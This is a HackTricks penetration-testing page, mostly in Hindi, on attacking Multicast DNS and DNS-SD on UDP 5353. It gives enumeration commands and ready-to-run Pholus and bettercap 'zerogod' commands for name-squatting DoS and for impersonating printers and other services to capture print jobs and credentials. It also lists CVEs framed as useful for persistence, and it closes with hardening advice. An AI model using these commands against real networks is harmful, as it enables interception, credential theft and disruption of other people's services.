5353/UDP Multicast DNS (mDNS) और DNS-SD

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

Multicast DNS (mDNS) स्थानीय लिंक के भीतर DNS जैसी नाम-रिज़ॉल्यूशन और सर्विस डिस्कवरी को सक्षम करता है, बिना किसी unicast DNS सर्वर के। यह UDP/5353 और मल्टीकास्ट पते 224.0.0.251 (IPv4) और FF02::FB (IPv6) का उपयोग करता है। DNS Service Discovery (DNS-SD, आम तौर पर mDNS के साथ उपयोग किया जाता है) PTR, SRV और TXT रिकॉर्ड्स के माध्यम से सेवाओं की सूची बनाने और वर्णन करने का एक मानकीकृत तरीका प्रदान करता है।

PORT     STATE SERVICE
5353/udp open  zeroconf

Key protocol details you’ll often leverage during attacks:

  • .local zone में नाम mDNS के जरिए हल होते हैं।
  • QU (Query Unicast) बिट multicast प्रश्नों के लिए भी unicast जवाबों का अनुरोध कर सकता है।
  • Implementations को स्थानीय लिंक से न आने वाले पैकेट्स को इग्नोर करना चाहिए; कुछ stacks उन्हें फिर भी स्वीकार करते हैं।
  • Probing/announcing यूनिक host/service नामों को लागू करते हैं; यहाँ हस्तक्षेप DoS/“name squatting” जैसी स्थितियाँ पैदा कर सकता है।

DNS-SD सेवा मॉडल

Services को .local के तहत _._tcp या _._udp के रूप में पहचाना जाता है, उदाहरण के लिए _ipp._tcp.local (printers), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), आदि। _services._dns-sd._udp.local के साथ प्रकार खोजें, फिर खोजे गए इंस्टेंस को SRV/TXT/A/AAAA में रेसॉल्व करें।

नेटवर्क अन्वेषण और Enumeration

  • nmap target scan (direct mDNS on a host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances):
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
  • Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Tip: कुछ ब्राउज़र/WebRTC अस्थायी mDNS होस्टनामों का उपयोग लोकल IPs छिपाने के लिए करते हैं। अगर वायर पर random-UUID.local जैसे कैंडिडेट्स दिखें, तो उन्हें mDNS से रेसॉल्व करके local IPs पर pivot करें।

Attacks

mDNS name probing interference (DoS / name squatting)

Probing चरण के दौरान, एक host नाम की यूनिकनेस जाँचता है। Spoofed conflicts के साथ जवाब देने से वह नए नाम चुनने पर मजबूर होता है या विफल हो सकता है। इससे सेवा रजिस्ट्रेशन और डिस्कवरी में देरी या रोकथाम हो सकती है।

Example with Pholus:

# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Service spoofing and impersonation (MitM)

Impersonate advertised DNS-SD services (printers, AirPlay, HTTP, file shares) ताकि clients आपसे कनेक्ट करने के लिए मजबूर हों। यह विशेष रूप से उपयोगी है कि:

  • _ipp._tcp या _printer._tcp को spoofing करके दस्तावेज़ कब्ज़ा करें।
  • clients को HTTP/HTTPS सेवाओं की ओर आकर्षित करके tokens/cookies harvest करें या payloads पहुँचाएँ।
  • जब Windows clients spoofed services के साथ auth negotiate करते हैं तो इसे NTLM relay techniques के साथ combine करें।

bettercap के zerogod module (mDNS/DNS-SD spoofer/impersonator) के साथ:

# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Notes on recent implementation issues (useful for DoS/persistence during engagements)

  • Avahi reachable-assertion and D-Bus crash bugs (2023) can terminate avahi-daemon on Linux distributions (e.g. CVE-2023-38469..38473, CVE-2023-1981), disrupting service discovery on target hosts until restart.
  • Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) lets adjacent WLAN clients flood crafted mDNS, spiking WLC CPU and dropping AP tunnels—handy if you need to force client roaming or controller resets during an engagement.
  • Apple mDNSResponder logic error DoS (CVE-2024-44183) lets a sandboxed local process crash Bonjour to briefly suppress service publication/lookup on Apple endpoints; patched in current iOS/macOS releases.
  • Apple mDNSResponder correctness issue (CVE-2025-31222) allowed local privilege escalation via mDNSResponder; useful for persistence on unmanaged Macs/iPhones, fixed in recent iOS/macOS updates.

Browser/WebRTC mDNS considerations

आधुनिक Chromium/Firefox ब्राउज़र्स होस्ट candidates को रैन्डम mDNS नामों से छिपाते हैं। आप प्रबंधित endpoints पर LAN IPs को फिर से उजागर कर सकते हैं अगर आप Chrome policy WebRtcLocalIpsAllowedUrls धकेलते हैं (या chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/Edge समकक्ष टॉगल करते हैं) ताकि ICE mDNS के बजाय host candidates को एक्सपोज़ करे; इसे HKLM\Software\Policies\Google\Chrome के माध्यम से सेट करें।

जब यूज़र्स मैन्युअली यह प्रोटेक्शन बंद करते हैं (WebRTC troubleshooting guides में सामान्य), तो उनके ब्राउज़र्स फिर से plain host candidates advertise करने लगते हैं, जिन्हें आप mDNS या ICE signaling के माध्यम से कैप्चर कर के host discovery तेज कर सकते हैं।

Defensive considerations and OPSEC

  • Segment boundaries: 224.0.0.251/FF02::FB को security zones के बीच route न करें जब तक कि एक mDNS gateway स्पष्ट रूप से आवश्यक न हो। यदि आपको discovery ब्रिज करना ही है, तो allowlists और rate limits पसंद करें।
  • Windows endpoints/servers:
  • mDNS के माध्यम से name resolution को hard-disable करने के लिए registry value सेट करें और reboot करें:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • Managed environments में, inbound mDNS processing को रोकने के लिए built-in “mDNS (UDP-In)” Windows Defender Firewall rule को (कम से कम Domain profile पर) disable करें, ताकि home/roaming functionality बनी रहे।
  • नए Windows 11 builds/GPO templates पर, policy “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” का उपयोग करें और इसे Disabled पर सेट करें।
  • Linux (Avahi):
  • जब आवश्यक न हो तो publishing को lock down करें: /etc/avahi/avahi-daemon.conf में disable-publishing=yes सेट करें, और interfaces को allow-interfaces= / deny-interfaces= से प्रतिबंधित करें।
  • check-response-ttl=yes पर विचार करें और जब तक सख्ती से आवश्यक न हो enable-reflector=yes से बचें; reflecting करते समय reflect-filters= allowlists पसंद करें।
  • macOS: यदि Bonjour discovery किसी विशेष subnet के लिए ज़रूरी नहीं है तो host/network firewalls पर inbound mDNS को प्रतिबंधित करें।
  • Monitoring: _services._dns-sd._udp.local क्वेरीज में असामान्य उछाल या महत्वपूर्ण सेवाओं के SRV/TXT में अचानक बदलावों पर अलर्ट सेट करें; ये spoofing या service impersonation के संकेत हो सकते हैं।

Tooling quick reference

  • nmap NSE: dns-service-discovery and broadcast-dns-service-discovery.
  • Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).

Spoofing/MitM

इस सर्विस पर सबसे रोचक attack यह है कि आप client और वास्तविक server के बीच communication में MitM कर सकते हैं। आप संवेदनशील फाइलें प्राप्त कर सकते हैं (printer के साथ communication को MitM करें) या यहां तक कि credentials भी (Windows authentication)।
अधिक जानकारी के लिए देखें:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें